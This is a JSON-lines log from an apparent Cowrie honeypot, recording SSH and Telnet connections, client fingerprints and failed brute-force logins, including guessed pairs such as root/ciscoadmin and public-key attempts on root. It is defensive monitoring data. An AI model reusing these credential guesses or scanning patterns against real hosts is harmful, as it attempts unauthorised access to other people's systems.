{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:56.482294Z","src_ip":"193.24.211.100","session":"5d4362439eb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:56.592297Z","src_ip":"193.24.211.100","session":"5d4362439eb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ciscoadmin","message":"login attempt [root/ciscoadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:57.142670Z","src_ip":"193.24.211.100","session":"5d4362439eb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.585628509521484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:57.160426Z","src_ip":"128.199.8.54","session":"c97fca1e61b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.935423374176025,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:57.721419Z","src_ip":"128.199.8.54","session":"7bf70ebc025c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:58.254495Z","src_ip":"193.24.211.100","session":"5d4362439eb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47108,"dst_ip":"159.203.135.109","dst_port":22,"session":"62af72e4dd55","protocol":"ssh","message":"New connection: 80.94.92.186:47108 (159.203.135.109:22) [session: 62af72e4dd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:59.457341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:59.526403Z","src_ip":"80.94.92.186","session":"62af72e4dd55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:37:59.613492Z","src_ip":"80.94.92.186","session":"62af72e4dd55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:00.874388Z","src_ip":"80.94.92.186","session":"62af72e4dd55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:02.040764Z","src_ip":"80.94.92.186","session":"62af72e4dd55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.91544771194458,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:03.632584Z","src_ip":"128.199.8.54","session":"74f180011241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55364,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4767ccf212a","protocol":"telnet","message":"New connection: 128.199.8.54:55364 (159.203.135.109:23) [session: e4767ccf212a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:05.584911Z"}
{"eventid":"cowrie.session.closed","duration":35.888813972473145,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:11.391503Z","src_ip":"128.199.8.54","session":"f6ec83c09d75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39740,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb7026f719b9","protocol":"telnet","message":"New connection: 128.199.8.54:39740 (159.203.135.109:23) [session: bb7026f719b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:12.838108Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53124,"dst_ip":"159.203.135.109","dst_port":23,"session":"01d654ad8125","protocol":"telnet","message":"New connection: 128.199.8.54:53124 (159.203.135.109:23) [session: 01d654ad8125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:19.601645Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":58046,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddffbfe83a27","protocol":"telnet","message":"New connection: 208.109.212.211:58046 (10.17.0.5:23) [session: ddffbfe83a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:19.907436Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33136,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b32701548cf","protocol":"telnet","message":"New connection: 128.199.8.54:33136 (159.203.135.109:23) [session: 5b32701548cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:22.702915Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38836,"dst_ip":"159.203.135.109","dst_port":23,"session":"dac3be93602c","protocol":"telnet","message":"New connection: 128.199.8.54:38836 (159.203.135.109:23) [session: dac3be93602c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:25.642310Z"}
{"eventid":"cowrie.session.closed","duration":35.02667164802551,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:40.611456Z","src_ip":"128.199.8.54","session":"e4767ccf212a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44630,"dst_ip":"159.203.135.109","dst_port":23,"session":"20819d61d8e7","protocol":"telnet","message":"New connection: 128.199.8.54:44630 (159.203.135.109:23) [session: 20819d61d8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:42.709139Z"}
{"eventid":"cowrie.session.closed","duration":33.9754683971405,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:46.813476Z","src_ip":"128.199.8.54","session":"bb7026f719b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57094,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba8c7209180","protocol":"telnet","message":"New connection: 128.199.8.54:57094 (159.203.135.109:23) [session: 9ba8c7209180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:49.004273Z"}
{"eventid":"cowrie.session.closed","duration":30.215051651000977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:50.122373Z","src_ip":"208.109.212.211","session":"ddffbfe83a27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.472105264663696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:54.073641Z","src_ip":"128.199.8.54","session":"01d654ad8125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":38980,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5fbe3145f85","protocol":"telnet","message":"New connection: 69.6.249.0:38980 (159.203.135.109:23) [session: b5fbe3145f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:57.672628Z"}
{"eventid":"cowrie.session.closed","duration":35.12016677856445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:57.822946Z","src_ip":"128.199.8.54","session":"5b32701548cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.92351531982422,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:38:59.565691Z","src_ip":"128.199.8.54","session":"dac3be93602c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55236,"dst_ip":"159.203.135.109","dst_port":23,"session":"f689b660aa05","protocol":"telnet","message":"New connection: 128.199.8.54:55236 (159.203.135.109:23) [session: f689b660aa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:05.078800Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34802,"dst_ip":"159.203.135.109","dst_port":23,"session":"b408c5f14f4c","protocol":"telnet","message":"New connection: 128.199.8.54:34802 (159.203.135.109:23) [session: b408c5f14f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:05.954429Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.2.70","src_port":45472,"dst_ip":"10.17.0.5","dst_port":22,"session":"823b78b8018b","protocol":"ssh","message":"New connection: 209.126.2.70:45472 (10.17.0.5:22) [session: 823b78b8018b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.024999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.033414Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.102467Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:2c:30:69:7a:87:7f:89:75:d2:de:e6:5f:95:ff:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChD/s2gIA5O/+9lL0OwHu+3kbhBzi7yB1NIpGPOJklEkVwTfCHrQ1pZd2+HseyRQmImsa8ztsbCk/GXrewXdOB+ziE6tMr7IHUiMa8zinCaGoNRMeSTBf6/bCiLGS0EMQqklg94PfrfijTTtugyR1SL2fehwweI8Kn/CX/5O9vdYTT33s4PSE49kL6WC9yXzYOayW7gKWCQR68DdN10Pd8H8EaP5juLdk4vH9byS2J6FjHxy7ruU/9ATPIg/McyDj84NoHKgi5xGyfwzrgTP59GFzcTChTXQRKh5tjzebutu2fS6mVVynRbGTrlB4tNc4hcs7aQ+DUmypF2kGwzGWT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:2c:30:69:7a:87:7f:89:75:d2:de:e6:5f:95:ff:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.308779Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:2c:30:69:7a:87:7f:89:75:d2:de:e6:5f:95:ff:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChD/s2gIA5O/+9lL0OwHu+3kbhBzi7yB1NIpGPOJklEkVwTfCHrQ1pZd2+HseyRQmImsa8ztsbCk/GXrewXdOB+ziE6tMr7IHUiMa8zinCaGoNRMeSTBf6/bCiLGS0EMQqklg94PfrfijTTtugyR1SL2fehwweI8Kn/CX/5O9vdYTT33s4PSE49kL6WC9yXzYOayW7gKWCQR68DdN10Pd8H8EaP5juLdk4vH9byS2J6FjHxy7ruU/9ATPIg/McyDj84NoHKgi5xGyfwzrgTP59GFzcTChTXQRKh5tjzebutu2fS6mVVynRbGTrlB4tNc4hcs7aQ+DUmypF2kGwzGWT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.313730Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:88:34:f4:9d:b0:a1:ed:25:b4:83:33:e1:ce:d3:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4n1NM2AAAkSTuM/0q7legRtIdEvqt0E9swWC4vRD0oAw4O/Xmzn2EFwWikytP2W9Qrv9KQaErx+D/W+F4Brp3j9YYL8x3J0EJnN70bOYbBp/XlNWvJGR5BgmqrBvT4zuMlEOrCq9oI8TY7LVg5Nq077x0FTxQ1RwLxnbVc77StFht1uEkSYYkboqGMpEPlF6ERDSPCFmRPqSE2QrN38P5/kKpcygRkYeE03LJztGg2mDfZHQyjILYGFds/JTTvMhd3bfvthJDjqmAytQDAfD8ebGCsyEpxFclzvm4oqkIhhWFhn5UpwNN5LjeAPWhH9X5O9yMxLtzkUh/+6cO9W01","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:88:34:f4:9d:b0:a1:ed:25:b4:83:33:e1:ce:d3:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.349849Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:88:34:f4:9d:b0:a1:ed:25:b4:83:33:e1:ce:d3:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4n1NM2AAAkSTuM/0q7legRtIdEvqt0E9swWC4vRD0oAw4O/Xmzn2EFwWikytP2W9Qrv9KQaErx+D/W+F4Brp3j9YYL8x3J0EJnN70bOYbBp/XlNWvJGR5BgmqrBvT4zuMlEOrCq9oI8TY7LVg5Nq077x0FTxQ1RwLxnbVc77StFht1uEkSYYkboqGMpEPlF6ERDSPCFmRPqSE2QrN38P5/kKpcygRkYeE03LJztGg2mDfZHQyjILYGFds/JTTvMhd3bfvthJDjqmAytQDAfD8ebGCsyEpxFclzvm4oqkIhhWFhn5UpwNN5LjeAPWhH9X5O9yMxLtzkUh/+6cO9W01","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.355426Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:ec:dd:3f:5e:88:f3:1a:de:6d:7d:fb:dc:e2:a9:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP4HC0jPxwLdGiomS4sK0/6c2VsJgsLgaZ7Pd5zfabgZdwc5tZK4Ugn8KAsChuFJLM0OaGvjhPy12+7j3ZmH9a2W+HMDX8UCITkRRiwiBS1aawEql16rhBTodHPLLchh0OVxsecc6r/14/f8QwJ49isb59QH1qI5dfiKsvhDTXUEsnCTUtWTRMkzNlyyMTXgEBoxcP2Fw2vjvQKygzq+zRwbPf2buwNuZ6diLkih4WzEx8z3ybW3VDsflGVRjz3LqrUn8Xr6XuQ4RR4GER+P7jC84G8RV4QkieKoieoNLLDKmiPtfMfDSCnpNA7iKsSPmLR6llOShz1EC8Fd0AFO6yjcVpEqnfD6azNQlvWEXXuwXagPxTI344V/evajYqLLmlWx4bJqLKygz48ZF6yIWK/9MTx3eYmokhhPAV7x4PrPNJCeSOkNGEB36cL4J/EdlkHjnjIsL4I29OxxuhWyN/+OCG/V/Tvrs6HNNIvBa9JhztXDO+CEzVL2AKlYuWeGE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:ec:dd:3f:5e:88:f3:1a:de:6d:7d:fb:dc:e2:a9:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.396985Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:ec:dd:3f:5e:88:f3:1a:de:6d:7d:fb:dc:e2:a9:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP4HC0jPxwLdGiomS4sK0/6c2VsJgsLgaZ7Pd5zfabgZdwc5tZK4Ugn8KAsChuFJLM0OaGvjhPy12+7j3ZmH9a2W+HMDX8UCITkRRiwiBS1aawEql16rhBTodHPLLchh0OVxsecc6r/14/f8QwJ49isb59QH1qI5dfiKsvhDTXUEsnCTUtWTRMkzNlyyMTXgEBoxcP2Fw2vjvQKygzq+zRwbPf2buwNuZ6diLkih4WzEx8z3ybW3VDsflGVRjz3LqrUn8Xr6XuQ4RR4GER+P7jC84G8RV4QkieKoieoNLLDKmiPtfMfDSCnpNA7iKsSPmLR6llOShz1EC8Fd0AFO6yjcVpEqnfD6azNQlvWEXXuwXagPxTI344V/evajYqLLmlWx4bJqLKygz48ZF6yIWK/9MTx3eYmokhhPAV7x4PrPNJCeSOkNGEB36cL4J/EdlkHjnjIsL4I29OxxuhWyN/+OCG/V/Tvrs6HNNIvBa9JhztXDO+CEzVL2AKlYuWeGE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.400729Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:9b:60:de:10:3c:fb:ea:77:1c:db:06:73:f3:71:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxwNyadPuBDssO/WpnyD2VqxxHMySoWC0q21NS8B4QuC8gny5xhLSTgbUl1ii3+ZYVWZQwXMIzHlyNy0zljdgt3Lue8YbSDyqRyooi4iZ9Y90DjDljslUEIivlVXOppPQNvPe+on27bhFurFuS/qgElUmH04vbgSPTnsGLUNfviwa23Vs2j6H/rwAEG4ELVxLuKD7xmXqUHf/12iBV8TRifOYKZySbKeZcjlmFm9d+/HhsiwigfATBufMGOaYawMPJ+CXpflAalE9awXt+XtxVMB3xAMztIAg5+rqxUkmH8jcFvW0hDR35j8LQkwMi0qy9IAEtJ9KOoMcv5pBK441Xw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:9b:60:de:10:3c:fb:ea:77:1c:db:06:73:f3:71:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.436216Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:9b:60:de:10:3c:fb:ea:77:1c:db:06:73:f3:71:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxwNyadPuBDssO/WpnyD2VqxxHMySoWC0q21NS8B4QuC8gny5xhLSTgbUl1ii3+ZYVWZQwXMIzHlyNy0zljdgt3Lue8YbSDyqRyooi4iZ9Y90DjDljslUEIivlVXOppPQNvPe+on27bhFurFuS/qgElUmH04vbgSPTnsGLUNfviwa23Vs2j6H/rwAEG4ELVxLuKD7xmXqUHf/12iBV8TRifOYKZySbKeZcjlmFm9d+/HhsiwigfATBufMGOaYawMPJ+CXpflAalE9awXt+XtxVMB3xAMztIAg5+rqxUkmH8jcFvW0hDR35j8LQkwMi0qy9IAEtJ9KOoMcv5pBK441Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.440979Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5c:26:4c:3d:0a:08:cd:c9:46:28:35:d9:18:c3:d8:3c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrkf/bds9a7+UV3MlDXoKc/gAPxrQIp4qkP3STDYIN1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5c:26:4c:3d:0a:08:cd:c9:46:28:35:d9:18:c3:d8:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.480689Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5c:26:4c:3d:0a:08:cd:c9:46:28:35:d9:18:c3:d8:3c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrkf/bds9a7+UV3MlDXoKc/gAPxrQIp4qkP3STDYIN1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:39:10.487880Z","src_ip":"209.126.2.70","session":"823b78b8018b","protocol":"ssh"}
